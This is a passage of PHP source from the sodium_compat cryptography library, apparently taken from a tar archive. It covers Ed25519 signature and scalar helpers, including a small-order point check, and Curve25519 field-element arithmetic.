            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32 bytes');
        }
        $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        $c = 0;
        $n = 1;
        $i = 32;

        /** @var array<int, int> $L */
        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        /** @var array<int, array<int, int>> $blocklist */
        $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var int $countBlocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function scalar_complement($s)
    {
        $t_ = self::L . str_repeat("\x00", 32);
        sodium_increment($t_);
        $s_ = $s . str_repeat("\x00", 32);
        ParagonIE_Sodium_Compat::sub($t_, $s_);
        return self::sc_reduce($t_);
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function scalar_random()
    {
        do {
            $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES);
            $r[self::SCALAR_BYTES - 1] = self::intToChr(
                self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f
            );
        } while (
            !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r)
        );
        return $r;
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function scalar_negate($s)
    {
        $t_ = self::L . str_repeat("\x00", 32) ;
        $s_ = $s . str_repeat("\x00", 32) ;
        ParagonIE_Sodium_Compat::sub($t_, $s_);
        return self::sc_reduce($t_);
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     * @throws SodiumException
     */
    public static function scalar_add($a, $b)
    {
        $a_ = $a . str_repeat("\x00", 32);
        $b_ = $b . str_repeat("\x00", 32);
        ParagonIE_Sodium_Compat::add($a_, $b_);
        return self::sc_reduce($a_);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    public static function scalar_sub($x, $y)
    {
        $yn = self::scalar_negate($y);
        return self::scalar_add($x, $yn);
    }
}
Core/Curve25519.php000064400000430431152222652550007652 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core_Curve25519 extends ParagonIE_Sodium_Core_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Fe();
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_1()
    {
        $fe = new ParagonIE_Sodium_Core_Curve25519_Fe();
        $fe->e0 = 1;
        return $fe;
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function fe_add(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        return new ParagonIE_Sodium_Core_Curve25519_Fe(
            (int)($f->e0 + $g->e0),
            (int)($f->e1 + $g->e1),
            (int)($f->e2 + $g->e2),
            (int)($f->e3 + $g->e3),
            (int)($f->e4 + $g->e4),
            (int)($f->e5 + $g->e5),
            (int)($f->e6 + $g->e6),
            (int)($f->e7 + $g->e7),
            (int)($f->e8 + $g->e8),
            (int)($f->e9 + $g->e9)
        );
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        $h = new ParagonIE_Sodium_Core_Curve25519_Fe();
        $b *= -1;
        $x = (($f->e0 ^ $g->e0) & $b); $h->e0 = $f->e0 ^ $x;
        $x = (($f->e1 ^ $g->e1) & $b); $h->e1 = $f->e1 ^ $x;
        $x = (($f->e2 ^ $g->e2) & $b); $h->e2 = $f->e2 ^ $x;
        $x = (($f->e3 ^ $g->e3) & $b); $h->e3 = $f->e3 ^ $x;
        $x = (($f->e4 ^ $g->e4) & $b); $h->e4 = $f->e4 ^ $x;
        $x = (($f->e5 ^ $g->e5) & $b); $h->e5 = $f->e5 ^ $x;
        $x = (($f->e6 ^ $g->e6) & $b); $h->e6 = $f->e6 ^ $x;
        $x = (($f->e7 ^ $g->e7) & $b); $h->e7 = $f->e7 ^ $x;
        $x = (($f->e8 ^ $g->e8) & $b); $h->e8 = $f->e8 ^ $x;
        $x = (($f->e9 ^ $g->e9) & $b); $h->e9 = $f->e9 ^ $x;
        return $h;
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        return clone $f;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws RangeException
     * @throws TypeError
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte string.');
        }
        $h0 = self::load_4($s);
        $h1 = self::load_3(self::substr($s, 4, 3)) << 6;
        $h2 = self::load_3(self::substr($s, 7, 3)) << 5;
        $h3 = self::load_3(self::substr($s, 10, 3)) << 3;
        $h4 = self::load_3(self::substr($s, 13, 3)) << 2;
        $h5 = self::load_4(self::substr($s, 16, 4));
        $h6 = self::load_3(self::substr($s, 20, 3)) << 7;
        $h7 = self::load_3(self::substr($s, 23, 3)) << 5;
        $h8 = self::load_3(self::substr($s, 26, 3)) << 4;
        $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        return new ParagonIE_Sodium_Core_Curve25519_Fe(
            (int) $h0,
            (int) $h1,
            (int) $h2,
            (int) $h3,
            (int) $h4,
            (int) $h5,
            (int) $h6,
            (int) $h7,
            (int) $h8,
            (int) $h9
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $h
     * @return string
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h)
    {
        $h0 = (int) $h->e0;
        $h1 = (int) $h->e1;
        $h2 = (int) $h->e2;
        $h3 = (int) $h->e3;
        $h4 = (int) $h->e4;
        $h5 = (int) $h->e5;
        $h6 = (int) $h->e6;
        $h7 = (int) $h->e7;
        $h8 = (int) $h->e8;
        $h9 = (int) $h->e9;

        $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25;
        $q = ($h0 + $q) >> 26;
        $q = ($h1 + $q) >> 25;
        $q = ($h2 + $q) >> 26;
        $q = ($h3 + $q) >> 25;
        $q = ($h4 + $q) >> 26;
        $q = ($h5 + $q) >> 25;
        $q = ($h6 + $q) >> 26;
        $q = ($h7 + $q) >> 25;
        $q = ($h8 + $q) >> 26;
        $q = ($h9 + $q) >> 25;

        $h0 += self::mul($q, 19, 5);

        $carry0 = $h0 >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry1 = $h1 >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry2 = $h2 >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry3 = $h3 >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry4 = $h4 >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry5 = $h5 >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        $carry6 = $h6 >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        $carry7 = $h7 >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;
        $carry8 = $h8 >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;
        $carry9 = $h9 >> 25;
        $h9 -= $carry9 << 25;

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        /** @var string $str */
        $str = self::fe_tobytes($f);
        return !self::verify_32($str, (string) $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        // Ensure limbs aren't oversized.
        $f = self::fe_normalize($f);
        $g = self::fe_normalize($g);
        $f0 = $f->e0;
        $f1 = $f->e1;
        $f2 = $f->e2;
        $f3 = $f->e3;
        $f4 = $f->e4;
        $f5 = $f->e5;
        $f6 = $f->e6;
        $f7 = $f->e7;
        $f8 = $f->e8;
        $f9 = $f->e9;
        $g0 = $g->e0;
        $g1 = $g->e1;
        $g2 = $g->e2;
        $g3 = $g->e3;
        $g4 = $g->e4;
        $g5 = $g->e5;
        $g6 = $g->e6;
        $g7 = $g->e7;
        $g8 = $g->e8;
        $g9 = $g->e9;
        $g1_19 = self::mul($g1, 19, 5);
        $g2_19 = self::mul($g2, 19, 5);
        $g3_19 = self::mul($g3, 19, 5);
        $g4_19 = self::mul($g4, 19, 5);
        $g5_19 = self::mul($g5, 19, 5);
        $g6_19 = self::mul($g6, 19, 5);
        $g7_19 = self::mul($g7, 19, 5);
        $g8_19 = self::mul($g8, 19, 5);
        $g9_19 = self::mul($g9, 19, 5);
        $f1_2 = $f1 << 1;
        $f3_2 = $f3 << 1;
        $f5_2 = $f5 << 1;
        $f7_2 = $f7 << 1;
        $f9_2 = $f9 << 1;
        $f0g0    = self::mul($f0,    $g0, 26);
        $f0g1    = self::mul($f0,    $g1, 25);
        $f0g2    = self::mul($f0,    $g2, 26);
        $f0g3    = self::mul($f0,    $g3, 25);
        $f0g4    = self::mul($f0,    $g4, 26);
        $f0g5    = self::mul($f0,    $g5, 25);
        $f0g6    = self::mul($f0,    $g6, 26);
        $f0g7    = self::mul($f0,    $g7, 25);
        $f0g8    = self::mul($f0,    $g8, 26);
        $f0g9    = self::mul($f0,    $g9, 26);
        $f1g0    = self::mul($f1,    $g0, 26);
        $f1g1_2  = self::mul($f1_2,  $g1, 25);
        $f1g2    = self::mul($f1,    $g2, 26);
        $f1g3_2  = self::mul($f1_2,  $g3, 25);
        $f1g4    = self::mul($f1,    $g4, 26);
        $f1g5_2  = self::mul($f1_2,  $g5, 25);
        $f1g6    = self::mul($f1,    $g6, 26);
        $f1g7_2  = self::mul($f1_2,  $g7, 25);
        $f1g8    = self::mul($f1,    $g8, 26);
        $f1g9_38 = self::mul($g9_19, $f1_2, 26);
        $f2g0    = self::mul($f2,    $g0, 26);
        $f2g1    = self::mul($f2,    $g1, 25);
        $f2g2    = self::mul($f2,    $g2, 26);
        $f2g3    = self::mul($f2,    $g3, 25);
        $f2g4    = self::mul($f2,    $g4, 26);
        $f2g5    = self::mul($f2,    $g5, 25);
        $f2g6    = self::mul($f2,    $g6, 26);
        $f2g7    = self::mul($f2,    $g7, 25);
        $f2g8_19 = self::mul($g8_19, $f2, 26);
        $f2g9_19 = self::mul($g9_19, $f2, 26);
        $f3g0    = self::mul($f3,    $g0, 26);
        $f3g1_2  = self::mul($f3_2,  $g1, 25);
        $f3g2    = self::mul($f3,    $g2, 26);
        $f3g3_2  = self::mul($f3_2,  $g3, 25);
        $f3g4    = self::mul($f3,    $g4, 26);
        $f3g5_2  = self::mul($f3_2,  $g5, 25);
        $f3g6    = self::mul($f3,    $g6, 26);
        $f3g7_38 = self::mul($g7_19, $f3_2, 26);
        $f3g8_19 = self::mul($g8_19, $f3, 25);
        $f3g9_38 = self::mul($g9_19, $f3_2, 26);
        $f4g0    = self::mul($f4,    $g0, 26);
        $f4g1    = self::mul($f4,    $g1, 25);
        $f4g2    = self::mul($f4,    $g2, 26);
        $f4g3    = self::mul($f4,    $g3, 25);
        $f4g4    = self::mul($f4,    $g4, 26);
        $f4g5    = self::mul($f4,    $g5, 25);
        $f4g6_19 = self::mul($g6_19, $f4, 26);
        $f4g7_19 = self::mul($g7_19, $f4, 26);
        $f4g8_19 = self::mul($g8_19, $f4, 26);
        $f4g9_19 = self::mul($g9_19, $f4, 26);
        $f5g0    = self::mul($f5,    $g0, 26);
        $f5g1_2  = self::mul($f5_2,  $g1, 25);
        $f5g2    = self::mul($f5,    $g2, 26);
        $f5g3_2  = self::mul($f5_2,  $g3, 25);
        $f5g4    = self::mul($f5,    $g4, 26);
        $f5g5_38 = self::mul($g5_19, $f5_2, 26);
        $f5g6_19 = self::mul($g6_19, $f5, 25);
        $f5g7_38 = self::mul($g7_19, $f5_2, 26);
        $f5g8_19 = self::mul($g8_19, $f5, 25);
        $f5g9_38 = self::mul($g9_19, $f5_2, 26);
        $f6g0    = self::mul($f6,    $g0, 26);
        $f6g1    = self::mul($f6,    $g1, 25);
        $f6g2    = self::mul($f6,    $g2, 26);
        $f6g3    = self::mul($f6,    $g3, 25);
        $f6g4_19 = self::mul($g4_19, $f6, 26);
        $f6g5_19 = self::mul($g5_19, $f6, 26);
        $f6g6_19 = self::mul($g6_19, $f6, 26);
        $f6g7_19 = self::mul($g7_19, $f6, 26);
        $f6g8_19 = self::mul($g8_19, $f6, 26);
        $f6g9_19 = self::mul($g9_19, $f6, 26);
        $f7g0    = self::mul($f7,    $g0, 26);
        $f7g1_2  = self::mul($f7_2,  $g1, 25);
        $f7g2    = self::mul($f7,    $g2, 26);
        $f7g3_38 = self::mul($g3_19, $f7_2, 26);
        $f7g4_19 = self::mul($g4_19, $f7, 26);
        $f7g5_38 = self::mul($g5_19, $f7_2, 26);
        $f7g6_19 = self::mul($g6_19, $f7, 25);
        $f7g7_38 = self::mul($g7_19, $f7_2, 26);
        $f7g8_19 = self::mul($g8_19, $f7, 25);
        $f7g9_38 = self::mul($g9_19,$f7_2, 26);
        $f8g0    = self::mul($f8,    $g0, 26);
        $f8g1    = self::mul($f8,    $g1, 25);
        $f8g2_19 = self::mul($g2_19, $f8, 26);
        $f8g3_19 = self::mul($g3_19, $f8, 26);
        $f8g4_19 = self::mul($g4_19, $f8, 26);
        $f8g5_19 = self::mul($g5_19, $f8, 26);
        $f8g6_19 = self::mul($g6_19, $f8, 26);
        $f8g7_19 = self::mul($g7_19, $f8, 26);
        $f8g8_19 = self::mul($g8_19, $f8, 26);
        $f8g9_19 = self::mul($g9_19, $f8, 26);
        $f9g0    = self::mul($f9,    $g0, 26);
        $f9g1_38 = self::mul($g1_19, $f9_2, 26);
        $f9g2_19 = self::mul($g2_19, $f9, 25);
        $f9g3_38 = self::mul($g3_19, $f9_2, 26);
        $f9g4_19 = self::mul($g4_19, $f9, 25);
        $f9g5_38 = self::mul($g5_19, $f9_2, 26);
        $f9g6_19 = self::mul($g6_19, $f9, 25);
        $f9g7_38 = self::mul($g7_19, $f9_2, 26);
        $f9g8_19 = self::mul($g8_19, $f9, 25);
        $f9g9_38 = self::mul($g9_19, $f9_2, 26);

        $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0    + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2    + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4    + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            new ParagonIE_Sodium_Core_Curve25519_Fe(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        return self::fe_normalize(
            new ParagonIE_Sodium_Core_Curve25519_Fe(
                -$f->e0,
                -$f->e1,
                -$f->e2,
                -$f->e3,
                -$f->e4,
                -$f->e5,
                -$f->e6,
                -$f->e7,
                -$f->e8,
                -$f->e9
            )
        );
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
